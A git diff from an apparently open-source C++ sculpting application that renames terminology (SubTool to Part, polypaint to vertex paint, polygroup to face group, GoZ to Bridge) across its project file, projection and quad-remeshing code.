+// Subdivision levels (core/Multires.h) are the Part key "subdiv" (format 4; sculpt-layer details in local
// frames from format 5): the current level and every level's mesh (as "mesh" / "layers" / "paint_layers"),
-// details and topology (scheme, Smt, quad pairing and child maps). The SubTool's own "mesh" is the current level,
+// details and topology (scheme, Smt, quad pairing and child maps). The Part's own "mesh" is the current level,
// so readers that don't know levels load what was shown. A current level identical to that mesh is not written
// twice ("same_as_mesh"). Format 6: a generated level (made by Divide, SubdivTopology::generated) has no
// triangles and no child maps ("generated"), and a level without "detail" that isn't stale takes the detail that
@@ -683,7 +684,7 @@ bool readUintList(Reader& r, const Json& desc, const char* what, std::vector<uin
return r.uints(desc, what, n, 1, out.data());
}
-// Reads "subdiv" into `m` (the SubTool's current level). Levels that don't fit are an error. Format 4 kept the
+// Reads "subdiv" into `m` (the Part's current level). Levels that don't fit are an error. Format 4 kept the
// sculpt-layer details in world space (`worldLayerDetail`): they're converted to local frames.
bool readSubdiv(Reader& r, const Json& sj, Mesh& m, std::string& error, bool worldLayerDetail) {
if (!sj.isObject()) return true;
@@ -714,7 +715,7 @@ bool readSubdiv(Reader& r, const Json& sj, Mesh& m, std::string& error, bool wor
data->positions = m.positions;
data->mask = m.mask;
data->colors = m.colors;
- data->polygroups = m.polygroups;
+ data->facegroups = m.facegroups;
data->hidden = m.hidden;
data->uvs = m.uvs;
data->quadPartners = m.quadPartners;
@@ -795,7 +796,7 @@ bool readSubdiv(Reader& r, const Json& sj, Mesh& m, std::string& error, bool wor
}
// Selection Sets (core/SelectionSets.h): `selection_sets` = {"version", "morph_target", "sets": [summary + "data"]},
-// each set one packed u8 blob under subtools/i/sets/. Optional, so no format version bump: older readers ignore it.
+// each set one packed u8 blob under parts/i/sets/. Optional, so no format version bump: older readers ignore it.
constexpr int kSelectionSetsVersion = 1;
Json writeSelectionSets(Writer& w, const std::string& prefix, const SelectionSetList& list) {
@@ -842,9 +843,9 @@ void readSelectionSets(Reader& r, const Json& j, Mesh& m, std::string& skipped)
if (!list->sets.empty()) m.selectionSets = std::move(list);
}
-// A SubTool read from a project, before it joins the document.
-struct LoadedSubtool {
- std::string name, gozName;
+// A Part read from a project, before it joins the document.
+struct LoadedPart {
+ std::string name, bridgeName;
std::vector<QRemeshGuide> qremeshGuides;
bool visible = true;
Shading shading = Shading::Default;
@@ -854,9 +855,9 @@ struct LoadedSubtool {
// after that), while the subdivision levels, topology and normals load.
BVH bvh;
std::thread bvhBuilder;
- LoadedSubtool() = default;
- LoadedSubtool(const LoadedSubtool&) = delete;
- ~LoadedSubtool() { finishBvh(); }
+ LoadedPart() = default;
+ LoadedPart(const LoadedPart&) = delete;
+ ~LoadedPart() { finishBvh(); }
void startBvh() {
if (mesh.triangleCount() >= 1'000'000) bvhBuilder = std::thread([this] { bvh.build(mesh); });
}
@@ -871,7 +872,7 @@ struct LoadedSubtool {
bool built = false;
};
-constexpr size_t kMaxProjectSubtools = 100000;
+constexpr size_t kMaxProjectParts = 100000;
} // namespace
bool isProjectPath(const std::string& path) {
@@ -884,32 +885,32 @@ bool saveProject(const std::string& path, const Document& doc, std::string& erro
Writer w;
Json manifest = Json::object();
manifest.set("format", kFormatName);
- ProjectVersionNeed version; // the lowest format the content needs (set again once the SubTools are written)
+ ProjectVersionNeed version; // the lowest format the content needs (set again once the Parts are written)
manifest.set("version", version.version);
manifest.set("app_version", SCULPTFORGE_VERSION);
- // Every SubTool with its mesh, layers and state; blobs live under subtools/<i>/.
- Json subtools = Json::array();
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- const SubTool& s = doc.subtools[size_t(i)];
- const bool active = i == doc.activeSubtool;
+ // Every Part with its mesh, layers and state; blobs live under parts/<i>/.
+ Json parts = Json::array();
+ for (int i = 0; i < doc.partCount(); ++i) {
+ const Part& s = doc.parts[size_t(i)];
+ const bool active = i == doc.activePart;
Json st = Json::object();
st.set("name", s.name);
st.set("visible", s.visible);
if (s.shading != Shading::Default) st.set("shading", shadingName(s.shading)); // (no format change: optional)
- writeMesh(w, "subtools/" + std::to_string(i) + "/", doc.subtoolMesh(i), st);
+ writeMesh(w, "parts/" + std::to_string(i) + "/", doc.partMesh(i), st);
st.set("active_layer", active ? doc.activeLayer : s.activeLayer);
- if (hasPaintLayers(doc.subtoolMesh(i)))
- st.set("paint_layers", writePaintLayers(w, "subtools/" + std::to_string(i) + "/", doc.subtoolMesh(i)));
- if (doc.subtoolMesh(i).texture && doc.subtoolMesh(i).texture->width > 0) {
- st.set("texture", writeTexture(w, "subtools/" + std::to_string(i) + "/", doc.subtoolMesh(i)));
- version.need(textureFormatVersion(*doc.subtoolMesh(i).texture));
+ if (hasPaintLayers(doc.partMesh(i)))
+ st.set("paint_layers", writePaintLayers(w, "parts/" + std::to_string(i) + "/", doc.partMesh(i)));
+ if (doc.partMesh(i).texture && doc.partMesh(i).texture->width > 0) {
+ st.set("texture", writeTexture(w, "parts/" + std::to_string(i) + "/", doc.partMesh(i)));
+ version.need(textureFormatVersion(*doc.partMesh(i).texture));
}
- if (subdivLevelCount(doc.subtoolMesh(i)))
- st.set("subdiv", writeSubdiv(w, "subtools/" + std::to_string(i) + "/", doc.subtoolMesh(i)));
- if (const Mesh& m = doc.subtoolMesh(i); m.micro && microMatches(m)) { // format 7: the micro level (core/Micro.h)
+ if (subdivLevelCount(doc.partMesh(i)))
+ st.set("subdiv", writeSubdiv(w, "parts/" + std::to_string(i) + "/", doc.partMesh(i)));
+ if (const Mesh& m = doc.partMesh(i); m.micro && microMatches(m)) { // format 7: the micro level (core/Micro.h)
const MicroMesh& mm = *m.micro;
- const std::string p = "subtools/" + std::to_string(i) + "/micro/";
+ const std::string p = "parts/" + std::to_string(i) + "/micro/";
Json mj = Json::object();
mj.set("level", mm.level);
mj.set("step", double(mm.step));
@@ -922,20 +923,20 @@ bool saveProject(const std::string& path, const Document& doc, std::string& erro
st.set("micro", std::move(mj));
version.need(7);
}
- const std::string& gozName = active ? doc.gozName : s.gozName;
- if (!gozName.empty()) st.set("goz_name", gozName);
+ const std::string& bridgeName = active ? doc.bridgeName : s.bridgeName;
+ if (!bridgeName.empty()) st.set("bridge_name", bridgeName);
const std::vector<QRemeshGuide>& guides = active ? doc.qremeshGuides : s.qremeshGuides;
if (!guides.empty()) st.set("qremesh_guides", qremeshGuidesToJson(guides)); // (no format change: optional)
- if (const Mesh& m = doc.subtoolMesh(i); m.selectionSets && !m.selectionSets->sets.empty())
- st.set("selection_sets", writeSelectionSets(w, "subtools/" + std::to_string(i) + "/", *m.selectionSets));
- if (const Mesh& m = doc.subtoolMesh(i); !m.zspheres.empty()) { // a ZSphere SubTool (core/ZSpheres.h); optional
- st.set("zspheres", zspheresToJson(m.zspheres));
- if (m.zspherePreview) st.set("zsphere_preview", true);
+ if (const Mesh& m = doc.partMesh(i); m.selectionSets && !m.selectionSets->sets.empty())
+ st.set("selection_sets", writeSelectionSets(w, "parts/" + std::to_string(i) + "/", *m.selectionSets));
+ if (const Mesh& m = doc.partMesh(i); !m.forgespheres.empty()) { // a Forge Sphere Part (core/Forge Spheres.h); optional
+ st.set("forgespheres", forgespheresToJson(m.forgespheres));
+ if (m.forgespherePreview) st.set("forgesphere_preview", true);
}
- subtools.push(std::move(st));
+ parts.push(std::move(st));
}
- manifest.set("subtools", std::move(subtools));
- manifest.set("active_subtool", doc.activeSubtool);
+ manifest.set("parts", std::move(parts));
+ manifest.set("active_part", doc.activePart);
Json brushes = Json::array();
for (const auto& b : doc.brushes) brushes.push(b.toJson());
@@ -1019,6 +1020,7 @@ bool loadProject(const std::string& path, Document& doc, std::string& error) {
error = path + " is not a SculptForge project" + (error.empty() ? "" : " (" + error + ")");
return false;
}
+ manifest = legacy::modernizeKeys(manifest); // keys an older version wrote
const double version = manifest["version"].asNumber(0);
if (version > kProjectVersion) {
error = path + " was saved by a newer SculptForge (" + manifest["app_version"].asString() +
@@ -1031,32 +1033,32 @@ bool loadProject(const std::string& path, Document& doc, std::string& error) {
return false;
}
- // SubTools: version 1 has one mesh at the top level, version 2 a "subtools" list.
- std::deque<LoadedSubtool> subtools; // (stable addresses: BVH threads use them)
+ // Parts: version 1 has one mesh at the top level, version 2 a "parts" list.
+ std::deque<LoadedPart> parts; // (stable addresses: BVH threads use them)
std::string skippedSets; // selection sets that couldn't be read
- int activeSubtool = 0;
+ int activePart = 0;
if (version < 2) {
- LoadedSubtool& s = subtools.emplace_back();
+ LoadedPart& s = parts.emplace_back();
s.name = "Sculpt";
if (!readMesh(r, manifest["mesh"], manifest["layers"], s.mesh, error)) return false;
s.activeLayer = int(manifest["active_layer"].asNumber(-1));
} else {
- const Json& list = manifest["subtools"];
- if (!list.isArray() || list.size() == 0 || list.size() > kMaxProjectSubtools) {
+ const Json& list = manifest["parts"];
+ if (!list.isArray() || list.size() == 0 || list.size() > kMaxProjectParts) {
error = "Project has no valid Part list";
return false;
}
for (const Json& sj : list.items()) {
- LoadedSubtool& s = subtools.emplace_back();
+ LoadedPart& s = parts.emplace_back();
s.name = sj["name"].asString();
if (s.name.empty()) s.name = "Part";
s.visible = sj["visible"].asBool(true);
if (sj["shading"].isString()) parseShading(sj["shading"].asString(), s.shading); // unknown: Default
- s.gozName = sj["goz_name"].asString();
+ s.bridgeName = sj["bridge_name"].asString();
s.qremeshGuides = qremeshGuidesFromJson(sj["qremesh_guides"]);
if (!readMesh(r, sj["mesh"], sj["layers"], s.mesh, error, false, false)) return false;
- s.mesh.zspheres = zspheresFromJson(sj["zspheres"]);
- s.mesh.zspherePreview = !s.mesh.zspheres.empty() && sj["zsphere_preview"].asBool(false);
+ s.mesh.forgespheres = forgespheresFromJson(sj["forgespheres"]);
+ s.mesh.forgespherePreview = !s.mesh.forgespheres.empty() && sj["forgesphere_preview"].asBool(false);
readSelectionSets(r, sj["selection_sets"], s.mesh, skippedSets);
// The BVH builds (on the pool) while the levels and topology load (off it), then the normals.
s.startBvh();
@@ -1109,8 +1111,8 @@ bool loadProject(const std::string& path, Document& doc, std::string& error) {
}
s.activeLayer = int(sj["active_layer"].asNumber(-1));
}
- const double active = manifest["active_subtool"].asNumber(0);
- activeSubtool = active >= 0 && active < double(subtools.size()) ? int(active) : 0;
+ const double active = manifest["active_part"].asNumber(0);
+ activePart = active >= 0 && active < double(parts.size()) ? int(active) : 0;
}
// Splats
@@ -1138,27 +1140,27 @@ bool loadProject(const std::string& path, Document& doc, std::string& error) {
for (size_t i = 0; i < n; ++i) splats.rotations[i] = glm::quat(rot[i * 4 + 3], rot[i * 4], rot[i * 4 + 1], rot[i * 4 + 2]);
}
- // Everything parsed: replace the scene. SubTool 0 is checked out first; the others are added
- // behind it, given their layer and GoZ name, and the saved active SubTool is selected last.
+ // Everything parsed: replace the scene. Part 0 is checked out first; the others are added
+ // behind it, given their layer and Bridge name, and the saved active Part is selected last.
auto validLayer = [](int layer, const Mesh& m) { return layer >= 0 && layer < int(m.layers.size()) ? layer : -1; };
- BVH* built = subtools[0].finishBvh();
- doc.setMesh(std::move(subtools[0].mesh), subtools[0].name, built);
- doc.activeLayer = validLayer(subtools[0].activeLayer, doc.mesh);
- doc.gozName = subtools[0].gozName;
- doc.qremeshGuides = std::move(subtools[0].qremeshGuides);
- doc.subtools[0].visible = subtools[0].visible;
- doc.subtools[0].shading = subtools[0].shading;
- for (size_t i = 1; i < subtools.size(); ++i) {
- BVH* builtI = subtools[i].finishBvh();
- const int at = doc.addSubtool(std::move(subtools[i].mesh), subtools[i].name, false, -1, builtI);
- SubTool& s = doc.subtools[size_t(at)];
- s.visible = subtools[i].visible;
- s.shading = subtools[i].shading;
- s.activeLayer = validLayer(subtools[i].activeLayer, s.mesh);
- s.gozName = subtools[i].gozName;
- s.qremeshGuides = std::move(subtools[i].qremeshGuides);
- }
- doc.selectSubtool(activeSubtool);
+ BVH* built = parts[0].finishBvh();
+ doc.setMesh(std::move(parts[0].mesh), parts[0].name, built);
+ doc.activeLayer = validLayer(parts[0].activeLayer, doc.mesh);
+ doc.bridgeName = parts[0].bridgeName;
+ doc.qremeshGuides = std::move(parts[0].qremeshGuides);
+ doc.parts[0].visible = parts[0].visible;
+ doc.parts[0].shading = parts[0].shading;
+ for (size_t i = 1; i < parts.size(); ++i) {
+ BVH* builtI = parts[i].finishBvh();
+ const int at = doc.addPart(std::move(parts[i].mesh), parts[i].name, false, -1, builtI);
+ Part& s = doc.parts[size_t(at)];
+ s.visible = parts[i].visible;
+ s.shading = parts[i].shading;
+ s.activeLayer = validLayer(parts[i].activeLayer, s.mesh);
+ s.bridgeName = parts[i].bridgeName;
+ s.qremeshGuides = std::move(parts[i].qremeshGuides);
+ }
+ doc.selectPart(activePart);
doc.splats = std::move(splats);
doc.splatsChanged();
if (!skippedSets.empty())
@@ -1182,10 +1184,10 @@ bool loadProject(const std::string& path, Document& doc, std::string& error) {
doc.projectSettings = Json::object();
for (const auto& [key, value] : manifest.members())
if (!isCoreKey(key)) doc.projectSettings.set(key, value);
- // Attachments are extras (an embedded MatCap): one that can't be read is left out rather than failing the file.
+ // Attachments are extras (an embedded Lit Sphere): one that can't be read is left out rather than failing the file.
doc.projectFiles.clear();
for (const Json& f : manifest["attachments"].items()) {
- const std::string name = f["name"].asString();
+ const std::string name = legacy::modernize(f["name"].asString()); // our own folder names, e.g. Lit Spheres
const size_t n = countOf(f["data"]["count"]);
if (!validAttachmentName(name) || n == size_t(-1) || n > kMaxAttachmentSize || doc.projectFiles.size() >= 64) continue;
std::vector<uint8_t> bytes;
@@ -1234,11 +1236,11 @@ CommandResult openProjectCommand(Document& doc, const std::string& path) {
std::string msg = "Opened project " + std::filesystem::path(path).filename().string() + " (";
// The Sculpt Timeline saved beside it, if it matches (only into the app's own scene: not thumbnails, scratch opens).
const int histories = &doc == Timeline::historyDocument ? loadHistorySidecar(doc, path) : 0;
- if (doc.subtoolCount() > 1) msg += std::to_string(doc.subtoolCount()) + " Parts, ";
+ if (doc.partCount() > 1) msg += std::to_string(doc.partCount()) + " Parts, ";
size_t tris = 0, layers = 0;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- tris += doc.subtoolMesh(i).triangleCount();
- layers += doc.subtoolMesh(i).layers.size();
+ for (int i = 0; i < doc.partCount(); ++i) {
+ tris += doc.partMesh(i).triangleCount();
+ layers += doc.partMesh(i).layers.size();
}
msg += std::to_string(tris) + " triangles";
if (layers) msg += ", " + std::to_string(layers) + " layers";
diff --git a/src/core/Project.h b/src/core/Project.h
index 11a64f57..ba15b00d 100644
--- a/src/core/Project.h
+++ b/src/core/Project.h
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Native project files (.sfproj): an uncompressed ZIP holding a JSON manifest
-// ("manifest.json") and little-endian binary blobs for every SubTool (mesh,
+// ("manifest.json") and little-endian binary blobs for every Part (mesh,
// optional attributes, sculpt layers) and any loaded Gaussian splats.
//
// The manifest names every blob with its element type and count, so readers
@@ -20,12 +20,12 @@
namespace sf {
-// 1: one mesh. 2: a list of SubTools (version 1 files still load, as one SubTool). 3: SubTools may carry a
-// painted texture with layers ("texture"; older files still load). 4: SubTools may carry subdivision levels
+// 1: one mesh. 2: a list of Parts (version 1 files still load, as one Part). 3: Parts may carry a
+// painted texture with layers ("texture"; older files still load). 4: Parts may carry subdivision levels
// ("subdiv"; older files still load). 5: sculpt-layer details of subdivision levels are in the levels' local
// frames, not world space (format 4 files are converted when they load). 6: levels made by Divide keep no
-// triangles, child maps or (where their positions say it) details; older files still load. 7: a SubTool texture
-// may carry material channels (the texture's "pbr" key, core/LayerStackIO.h), and a SubTool a micro-displacement
+// triangles, child maps or (where their positions say it) details; older files still load. 7: a Part texture
+// may carry material channels (the texture's "pbr" key, core/LayerStackIO.h), and a Part a micro-displacement
// level ("micro", core/Micro.h); both keys are optional in 7.
//
// kProjectVersion is the newest format this build reads. Saving writes the lowest version the content needs
@@ -42,16 +42,16 @@ constexpr const char* kProjectExtension = ".sfproj";
// True for paths ending in .sfproj (any case).
bool isProjectPath(const std::string& path);
-// Writes `doc` (every SubTool with its name, visibility, mesh, attributes,
-// layers, active layer and GoZ name; the active SubTool; splats, brush library
+// Writes `doc` (every Part with its name, visibility, mesh, attributes,
+// layers, active layer and Bridge name; the active Part; splats, brush library
// and doc.projectSettings) to `path`. Does not change the document.
bool saveProject(const std::string& path, const Document& doc, std::string& error);
// Replaces the scene with the project at `path`. On failure `doc` is untouched.
-// Restores the active SubTool, sets doc.path, gives every SubTool an empty
+// Restores the active Part, sets doc.path, gives every Part an empty
// edit history and marks the document clean.
bool loadProject(const std::string& path, Document& doc, std::string& error);
// --- Thumbnails: a small PNG preview ("thumbnail.png") stored right after the manifest, so the
-// LightBox can show a project without loading it. Optional: older projects have none.
+// Library can show a project without loading it. Optional: older projects have none.
constexpr int kProjectThumbnailSize = 256;
// Called by saveProject on the saving thread to render the preview (the app renders the current
diff --git a/src/core/Projection.cpp b/src/core/Projection.cpp
index 10be3259..9e02222c 100644
--- a/src/core/Projection.cpp
+++ b/src/core/Projection.cpp
@@ -50,7 +50,7 @@ bool computeProjection(const Mesh& target, const std::vector<const Mesh*>& sourc
}
const float reach = std::max(opt.distance, 1e-6f) * glm::length(target.bounds().extent());
- const bool doColors = colors && opt.polypaint && anyColor;
+ const bool doColors = colors && opt.vertexpaint && anyColor;
positions = target.positions;
if (doColors) *colors = target.hasColors() ? target.colors : std::vector<glm::vec3>(nv, glm::vec3(1.0f));
std::vector<float> moved(nv, 0.0f); // weight each vertex was projected with (0 = untouched)
@@ -139,17 +139,17 @@ bool computeProjection(const Mesh& target, const std::vector<const Mesh*>& sourc
bool projectAll(Document& doc, const ProjectOptions& opt, std::string& message, int source, ProjectStats* statsOut) {
std::vector<const Mesh*> sources;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- if (i == doc.activeSubtool) continue;
- if (source >= 0 ? i != source : !doc.subtools[size_t(i)].visible) continue;
- if (doc.subtoolMesh(i).triangleCount() > 0) sources.push_back(&doc.subtoolMesh(i));
+ for (int i = 0; i < doc.partCount(); ++i) {
+ if (i == doc.activePart) continue;
+ if (source >= 0 ? i != source : !doc.parts[size_t(i)].visible) continue;
+ if (doc.partMesh(i).triangleCount() > 0) sources.push_back(&doc.partMesh(i));
}
if (sources.empty()) {
message = source >= 0 ? "Project All: that Part can't be projected from"
: "Project All needs another visible Part to project from (the source)";
return false;
}
- if (!opt.geometry && !opt.polypaint) {
+ if (!opt.geometry && !opt.vertexpaint) {
message = "Project All: nothing to project (turn on Geometry or Vertex Paint)";
return false;
}
@@ -160,16 +160,16 @@ bool projectAll(Document& doc, const ProjectOptions& opt, std::string& message,
message = "Project All: the active sculpt layer's weight is 0";
return false;
}
- if (opt.polypaint && !m.paintLayers.empty() && !paintLayerEditable(m, m.activePaintLayer)) {
+ if (opt.vertexpaint && !m.paintLayers.empty() && !paintLayerEditable(m, m.activePaintLayer)) {
message = "Project All: the active paint layer is locked or hidden";
return false;
}
std::vector<glm::vec3> positions, colors;
ProjectStats st;
- if (!computeProjection(m, sources, opt, positions, opt.polypaint ? &colors : nullptr, st, message)) return false;
+ if (!computeProjection(m, sources, opt, positions, opt.vertexpaint ? &colors : nullptr, st, message)) return false;
// One undo step: the shape (active sculpt layer) and the colours (active paint layer), or a snapshot when
- // the SubTool had no polypaint yet, so undo takes the attribute away again.
+ // the Part had no vertex paint yet, so undo takes the attribute away again.
UndoRecord r;
if (st.colors && !m.hasColors()) {
r.mesh = std::make_unique<Mesh>(m);
diff --git a/src/core/Projection.h b/src/core/Projection.h
index 326ccddf..29136f82 100644
--- a/src/core/Projection.h
+++ b/src/core/Projection.h
@@ -1,8 +1,8 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// ProjectAll (SubTool palette, as in ZBrush): moves the active SubTool's vertices onto the surface of other
-// SubTools and takes their polypaint, so detail survives a retopology: QRemesh a copy, divide it a few
+// ProjectAll (Part palette): moves the active Part's vertices onto the surface of other
+// Parts and takes their vertex paint, so detail survives a retopology: QRemesh a copy, divide it a few
// times, then project from the original. Each vertex shoots a ray both ways along its normal and takes the
// nearest hit within Dist (or the mean of both sides with Mean); the mask holds vertices back (partly
// masked ones move part way). Rays run on all threads against a read-only BVH (core/SurfaceQuery.h).
@@ -20,7 +20,7 @@ struct ProjectOptions {
float distance = 0.02f; // Dist: how far to search, as a fraction of the target's bounding-box diagonal
bool mean = false; // Mean: with hits on both sides, settle halfway between them
bool geometry = true; // project the shape
- bool polypaint = true; // project the polypaint (when a source has any)
+ bool vertexpaint = true; // project the vertex paint (when a source has any)
int blur = 0; // PA Blur: smoothing passes over the projected offsets
};
@@ -28,20 +28,20 @@ struct ProjectStats {
size_t projected = 0; // vertices that found the source
size_t missed = 0; // nothing within Dist
size_t masked = 0; // fully masked or hidden: left alone
- bool colors = false; // polypaint was projected
+ bool colors = false; // vertex paint was projected
double seconds = 0.0;
};
// Fraction 0..1; return false to cancel.
using ProjectProgress = std::function<bool(float fraction)>;
-// New positions (and colours, when `colors` is not null and a source has polypaint) for every vertex of
+// New positions (and colours, when `colors` is not null and a source has vertex paint) for every vertex of
// `target`, from the surfaces of `sources`. Vertices are moved by (1 - mask); hidden ones stay.
bool computeProjection(const Mesh& target, const std::vector<const Mesh*>& sources, const ProjectOptions& options,
std::vector<glm::vec3>& positions, std::vector<glm::vec3>* colors, ProjectStats& stats,
std::string& error, const ProjectProgress& progress = {});
-// ProjectAll on the document: from every visible SubTool except the active one (or only SubTool `source`
+// ProjectAll on the document: from every visible Part except the active one (or only Part `source`
// when >= 0) onto the active one, as one undo step. Shape offsets go into the active sculpt layer, colours
// into the active paint layer.
bool projectAll(Document& doc, const ProjectOptions& options, std::string& message, int source = -1,
diff --git a/src/core/QRemesh.cpp b/src/core/QRemesh.cpp
index 0a90c794..5ff8de6a 100644
--- a/src/core/QRemesh.cpp
+++ b/src/core/QRemesh.cpp
@@ -276,7 +276,7 @@ struct Level {
std::vector<uint8_t> ctype;
std::vector<vec3> cdir, cpos;
std::vector<uint8_t> boundary; // on an open edge of the mesh
- std::vector<vec3> color; // polypaint (usePolypaint only)
+ std::vector<vec3> color; // vertex paint (useVertex paint only)
// QRemesh Guides: how strongly (0..1) the orientation turns to the nearest curve's direction gdir (empty
// without guides).
std::vector<float> gw;
@@ -329,7 +329,7 @@ void computeMeanEdge(Level& l) {
}
// Level 0 from the working mesh: vertex graph, area-weighted normals, constraints on open edges and (with
-// keepGroups) polygroup borders.
+// keepGroups) face group borders.
Level buildFinest(const WorkMesh& m, bool keepGroups, float sharpCos, std::vector<std::pair<vec3, vec3>>& boundarySegs,
std::vector<uint8_t>& boundarySegIsCut, std::vector<std::pair<vec3, vec3>>& borderSegs, int symAxis) {
Level l;
@@ -424,7 +424,7 @@ Level buildFinest(const WorkMesh& m, bool keepGroups, float sharpCos, std::vecto
}
}
- // Feature edges: open edges and polygroup borders.
+ // Feature edges: open edges and face group borders.
l.ctype.assign(nv, kFree);
l.cdir.assign(nv, vec3(0.0f));
l.cpos = l.V;
@@ -1270,14 +1270,14 @@ void removeDoublets(QuadMesh& q) {
struct Snapper {
const TriangleBVH* surface = nullptr;
const SegmentBVH* boundary = nullptr; // open edges of the source (incl. the symmetry cut)
- const SegmentBVH* borders = nullptr; // polygroup borders (Keep Groups) and hard edges
+ const SegmentBVH* borders = nullptr; // face group borders (Keep Groups) and hard edges
const SegmentBVH* corners = nullptr; // where several of those meet (as zero-length segments)
float reach = 1.0f;
const SegmentBVH* guides = nullptr; // QRemesh Guides: only the loops' own vertices snap to them
};
// Tangential relaxation on the source surface; vertices on open edges stay on the source's open edges, those
-// on polygroup borders on the borders.
+// on face group borders on the borders.
void relax(QuadMesh& q, const Snapper& snap, int iterations, float edge, const QRemeshProgress& progress, float p0,
float p1, bool& cancelled) {
const size_t nv = q.P.size();
@@ -1291,7 +1291,7 @@ void relax(QuadMesh& q, const Snapper& snap, int iterations, float edge, const Q
const uint32_t a = uint32_t(key >> 32), b = uint32_t(key & 0xffffffffu);
nb[a].push_back(b);
nb[b].push_back(a);
- if (uses == 1) open[a] = open[b] = 2; // 2 = open-edge vertex, 1 = polygroup border vertex
+ if (uses == 1) open[a] = open[b] = 2; // 2 = open-edge vertex, 1 = face group border vertex
}
std::vector<std::vector<uint32_t>> openNb(nv);
for (auto [key, uses] : edgeUse) {
@@ -1326,7 +1326,7 @@ void relax(QuadMesh& q, const Snapper& snap, int iterations, float edge, const Q
parallelFor(nv, [&](size_t b, size_t e) {
for (size_t v = b; v < e; ++v) q.P[v] = project(uint32_t(v), q.P[v], normal[v]);
});
- // Polygroup-border vertices: within a fifth of an edge of a border.
+ // Face group-border vertices: within a fifth of an edge of a border.
// Vertices on a guide's loop are the ones extracted on it (features): a vertex merely near a guide stays free.
if (snap.borders || snap.guides)
for (uint32_t v = 0; v < nv; ++v) {
@@ -1604,7 +1604,7 @@ bool remeshPiece(WorkMesh work, int axis, double wantQuads, const QRemeshOptions
if (!report(0.20f + 0.20f * float(levels.size() - li) / float(levels.size() - base))) return false;
}
- // Scale field on the base level: curvature (Adaptive Size) and polypaint density, then normalised to the
+ // Scale field on the base level: curvature (Adaptive Size) and vertex paint density, then normalised to the
// wanted number of faces and passed up the hierarchy.
Level& L = levels[base];
std::vector<float> rel(L.size(), 1.0f); // relative edge length
@@ -1805,8 +1805,8 @@ bool qremesh(const Mesh& source, const QRemeshOptions& opt, Mesh& out, std::stri
work.P = source.positions;
work.T = source.triangles;
work.group.resize(work.T.size());
- for (uint32_t t = 0; t < work.T.size(); ++t) work.group[t] = source.polygroupAt(t);
- if (opt.usePolypaint && source.hasColors()) work.color = source.colors;
+ for (uint32_t t = 0; t < work.T.size(); ++t) work.group[t] = source.facegroupAt(t);
+ if (opt.useVertexPaint && source.hasColors()) work.color = source.colors;
const AABB box = source.bounds();
const float diag = glm::length(box.extent());
if (!(diag > 0.0f)) {
@@ -1869,7 +1869,7 @@ bool qremesh(const Mesh& source, const QRemeshOptions& opt, Mesh& out, std::stri
// QRemesh Guides in the working frame: snapped onto the sculpt as it is now (it may have changed since they
// were drawn) and, with symmetry, mirrored, so a curve drawn on either side guides both.
- // A guide mostly off the surface (the SubTool was moved after it was drawn) is left out.
+ // A guide mostly off the surface (the Part was moved after it was drawn) is left out.
std::vector<QRemeshGuide> guides;
if (!opt.guides.empty()) buildFull();
for (const QRemeshGuide& g : opt.guides) {
@@ -2173,23 +2173,23 @@ bool qremesh(const Mesh& source, const QRemeshOptions& opt, Mesh& out, std::stri
}
});
}
- if (opt.keepGroups && source.hasPolygroups()) {
- m.ensurePolygroups();
+ if (opt.keepGroups && source.hasFaceGroups()) {
+ m.ensureFaceGroups();
const size_t nq = qm.quads.size();
parallelFor(nq, [&](size_t b, size_t e) {
for (size_t q = b; q < e; ++q) {
const glm::uvec3 t0 = m.triangles[2 * q], t1 = m.triangles[2 * q + 1];
const vec3 c = 0.25f * (m.positions[t0.x] + m.positions[t0.y] + m.positions[t0.z] + m.positions[t1.z]);
SurfaceHit hit;
- const uint32_t g = full.closestPoint(c, reach, hit) ? source.polygroupAt(hit.prim) : 0u;
- m.polygroups[2 * q] = m.polygroups[2 * q + 1] = g;
+ const uint32_t g = full.closestPoint(c, reach, hit) ? source.facegroupAt(hit.prim) : 0u;
+ m.facegroups[2 * q] = m.facegroups[2 * q + 1] = g;
}
});
for (size_t t = 2 * nq; t < m.triangles.size(); ++t) {
const glm::uvec3 tri = m.triangles[t];
SurfaceHit hit;
const vec3 c = (m.positions[tri.x] + m.positions[tri.y] + m.positions[tri.z]) / 3.0f;
- m.polygroups[t] = full.closestPoint(c, reach, hit) ? source.polygroupAt(hit.prim) : 0u;
+ m.facegroups[t] = full.closestPoint(c, reach, hit) ? source.facegroupAt(hit.prim) : 0u;
}
}
}
diff --git a/src/core/QRemesh.h b/src/core/QRemesh.h
index 1273f74b..9ea02c7b 100644
--- a/src/core/QRemesh.h
+++ b/src/core/QRemesh.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// QRemesh (Tool > Remesh / Tool > Geometry > QRemesh, like ZBrush's ZRemesher): automatic quad retopology. Two
+// QRemesh (Tool > Remesh / Tool > Geometry > QRemesh QRemesh): automatic quad retopology. Two
// methods: QRemesh 2, the default (an integer-grid map, core/QRemesh2.cpp), and the legacy one described here,
// which shares the steps around it (symmetry, guides, pieces, attributes). The legacy method is a field-aligned method
// after Instant Field-Aligned Meshes (Jakob, Tarini, Panozzo, Sorkine-Hornung, SIGGRAPH Asia 2015; the
@@ -11,7 +11,7 @@
// 2. A smooth 4-RoSy orientation field (where the quad edges point), solved coarse to fine.
// 3. A position field: per vertex the nearest corner of a local quad lattice with the wanted edge length,
// made consistent across neighbours (also coarse to fine). Adaptive Size scales the lattice with the
-// curvature; polypaint can ask for more (red) or fewer (blue) polygons.
+// curvature; vertex paint can ask for more (red) or fewer (blue) polygons.
// 4. Extraction: vertices whose lattice corners coincide merge, lattice-neighbours become edges, the graph's
// faces are traced in each vertex's tangent plane, and every face (quad, or the odd triangle / pentagon
// around a field singularity) is split into quads, so the result is all quads and closed (2-manifold)
@@ -21,7 +21,7 @@
//
// QRemesh Guides (curves drawn on the surface) constrain the fields the same way: a lattice line along each
// curve, and the orientation turned towards it over a falloff (core/QRemeshGuides.h).
-// Keep Groups constrains the fields to the polygroup borders, so edge loops run along them (and the result
+// Keep Groups constrains the fields to the face group borders, so edge loops run along them (and the result
// keeps the groups). Symmetry remeshes one half (cut at the plane) and mirrors it, welded on the seam; the plane
// is the model's own (found from it, so a model away from the origin works), and a model that isn't
